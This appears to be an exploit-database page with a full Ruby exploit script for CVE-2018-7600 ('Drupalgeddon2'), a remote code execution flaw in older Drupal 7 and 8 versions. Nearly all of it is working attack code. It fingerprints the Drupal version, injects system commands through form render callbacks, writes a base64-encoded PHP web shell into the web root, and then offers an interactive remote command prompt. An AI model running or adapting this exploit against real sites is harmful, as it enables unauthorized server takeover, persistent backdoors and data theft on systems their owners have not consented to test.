Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution

Related Vulnerabilities: CVE-2018-7600  
Publish Date: 13 Apr 2018
                							

                #!/usr/bin/env ruby
#
# [CVE-2018-7600] Drupal &lt; 7.58 / &lt; 8.3.9 / &lt; 8.4.6 / &lt; 8.5.1 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
#
# Authors:
# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
# - g0tmi1k   ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
#


require 'base64'
require 'json'
require 'net/http'
require 'openssl'
require 'readline'


# Settings - Proxy information (nil to disable)
proxy_addr = nil
proxy_port = 8080


# Settings - General
$useragent = "drupalgeddon2"
webshell = "s.php"
writeshell = true


# Settings - Payload (we could just be happy without this, but we can do better!)
#bashcmd = "&lt;?php if( isset( $_REQUEST[c] ) ) { eval( $_GET[c]) ); } ?&gt;'
bashcmd = "&lt;?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2&gt;&amp;1' ); }"
bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Function http_post &lt;url&gt; [post]
def http_post(url, payload="")
  uri = URI(url)
  request = Net::HTTP::Post.new(uri.request_uri)
  request.initialize_http_header({"User-Agent" =&gt; $useragent})
  request.body = payload
  return $http.request(request)
end


# Function gen_evil_url &lt;cmd&gt;
def gen_evil_url(evil, feedback=true)
  # PHP function to use (don't forget about disabled functions...)
  phpmethod = $drupalverion.start_with?('8')? "exec" : "passthru"

  #puts "[*] PHP cmd: #{phpmethod}" if feedback
  puts "[*] Payload: #{evil}" if feedback

  ## Check the version to match the payload
  # Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render
  if $drupalverion.start_with?('8')
    # Method #1 - Drupal 8, mail, #post_render - response is 200
    url = $target + "user/register?element_parents=account/mail/%23value&amp;ajax_form=1&amp;_wrapper_format=drupal_ajax"
    payload = "form_id=user_register_form&amp;_drupal_ajax=1&amp;mail[a][#post_render][]=" + phpmethod + "&amp;mail[a][#type]=markup&amp;mail[a][#markup]=" + evil

    # Method #2 - Drupal 8,  timezone, #lazy_builder - response is 500 &amp; blind (will need to disable target check for this to work!)
    #url = $target + "user/register%3Felement_parents=timezone/timezone/%23value&amp;ajax_form=1&amp;_wrapper_format=drupal_ajax"
    #payload = "form_id=user_register_form&amp;_drupal_ajax=1&amp;timezone[a][#lazy_builder][]=exec&amp;timezone[a][#lazy_builder][][]=" + evil
  elsif $drupalverion.start_with?('7')
    # Method #3 - Drupal 7, name, #post_render - response is 200
    url = $target + "?q=user/password&amp;name[%23post_render][]=" + phpmethod + "&amp;name[%23type]=markup&amp;name[%23markup]=" + evil
    payload = "form_id=user_pass&amp;_triggering_element_name=name"
  else
    puts "[!] Unsupported Drupal version"
    exit
  end

  # Drupal v7 needs an extra value from a form
  if $drupalverion.start_with?('7')
    response = http_post(url, payload)

    form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).to_s.strip
    puts "[!] WARNING: Didn't detect form_build_id" if form_build_id.empty?

    #url = $target + "file/ajax/name/%23value/" + form_build_id
    url = $target + "?q=file/ajax/name/%23value/" + form_build_id
    payload = "form_build_id=" + form_build_id
  end

  return url, payload
end


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Quick how to use
if ARGV.empty?
  puts "Usage: ruby drupalggedon2.rb &lt;target&gt;"
  puts "       ruby drupalgeddon2.rb https://example.com"
  exit
end
# Read in values
$target = ARGV[0]


# Check input for protocol
if not $target.start_with?('http')
  $target = "http://#{target}"
end
# Check input for the end
if not $target.end_with?('/')
  $target += "/"
end


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Banner
puts "[*] --==[::#Drupalggedon2::]==--"
puts "-"*80
puts "[*] Target : #{$target}"
puts "[*] Write? : Skipping writing web shell" if not writeshell
puts "-"*80


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Setup connection
uri = URI($target)
$http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)


# Use SSL/TLS if needed
if uri.scheme == "https"
  $http.use_ssl = true
  $http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Try and get version
$drupalverion = nil
# Possible URLs
url = [
  $target + "CHANGELOG.txt",
  $target + "core/CHANGELOG.txt",
  $target + "includes/bootstrap.inc",
  $target + "core/includes/bootstrap.inc",
]
# Check all
url.each do|uri|
  # Check response
  response = http_post(uri)

  if response.code == "200"
    puts "[+] Found  : #{uri} (#{response.code})"

    # Patched already?
    puts "[!] WARNING: Might be patched! Found SA-CORE-2018-002: #{url}" if response.body.include? "SA-CORE-2018-002"

    # Try and get version from the file contents
    $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip

    # If not, try and get it from the URL
    $drupalverion = uri.match(/core/)? "8.x" : "7.x" if $drupalverion.empty?

    # Done!
    break
  elsif response.code == "403"
    puts "[+] Found  : #{uri} (#{response.code})"

    # Get version from URL
    $drupalverion = uri.match(/core/)? "8.x" : "7.x"
  else
    puts "[!] MISSING: #{uri} (#{response.code})"
  end
end


# Feedback
if $drupalverion
  status = $drupalverion.end_with?('x')? "?" : "!"
  puts "[+] Drupal#{status}: #{$drupalverion}"
else
  puts "[!] Didn't detect Drupal version"
  puts "[!] Forcing Drupal v8.x attack"
  $drupalverion = "8.x"
end
puts "-"*80



# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -



# Make a request, testing code execution
puts "[*] Testing: Code Execution"
# Generate a random string to see if we can echo it
random = (0...8).map { (65 + rand(26)).chr }.join
url, payload = gen_evil_url("echo #{random}")
response = http_post(url, payload)
if response.code == "200" and not response.body.empty?
  #result = JSON.pretty_generate(JSON[response.body])
  result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
  puts "[+] Result : #{result}"

  puts response.body.match(/#{random}/)? "[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!" : "[+] Target might to be exploitable?"
else
  puts "[!] Target is NOT exploitable ~ HTTP Response: #{response.code}"
  exit
end
puts "-"*80


# Location of web shell &amp; used to signal if using PHP shell
webshellpath = nil
prompt = "drupalgeddon2"
# Possibles paths to try
paths = [
  "./",
  "./sites/default/",
  "./sites/default/files/",
]
# Check all
paths.each do|path|
  puts "[*] Testing: File Write To Web Root (#{path})"

  # Merge locations
  webshellpath = "#{path}#{webshell}"

  # Final command to execute
  cmd = "#{bashcmd} | tee #{webshellpath}"

  # Generate evil URLs
  url, payload = gen_evil_url(cmd)
  # Make the request
  response = http_post(url, payload)
  # Check result
  if response.code == "200" and not response.body.empty?
    # Feedback
    #result = JSON.pretty_generate(JSON[response.body])
    result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
    puts "[+] Result : #{result}"

    # Test to see if backdoor is there (if we managed to write it)
    response = http_post("#{$target}#{webshellpath}", "c=hostname")
    if response.code == "200" and not response.body.empty?
      puts "[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!"
      break
    else
      puts "[!] Target is NOT exploitable. No write access here!"
    end
  else
    puts "[!] Target is NOT exploitable for some reason ~ HTTP Response: #{response.code}"
  end
  webshellpath = nil
end if writeshell
puts "-"*80 if writeshell

if webshellpath
  # Get hostname for the prompt
  prompt = response.body.to_s.strip

  # Feedback
  puts "[*] Fake shell:   curl '#{$target}#{webshell}' -d 'c=whoami'"
elsif writeshell
  puts "[!] FAILED to find writeable folder"
  puts "[*] Dropping back to ugly shell..."
end


# Stop any CTRL + C action ;)
trap("INT", "SIG_IGN")


# Forever loop
loop do
  # Default value
  result = "ERROR"

  # Get input
  command = Readline.readline("#{prompt}&gt;&gt; ", true).to_s

  # Exit
  break if command =~ /exit/

  # Blank link?
  next if command.empty?

  # If PHP shell
  if webshellpath
    # Send request
    result = http_post("#{$target}#{webshell}", "c=#{command}").body
  # Direct commands
  else
    url, payload = gen_evil_url(command, false)
    response = http_post(url, payload)
    if response.code == "200" and not response.body.empty?
      result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
    end
  end

  # Feedback
  puts result
end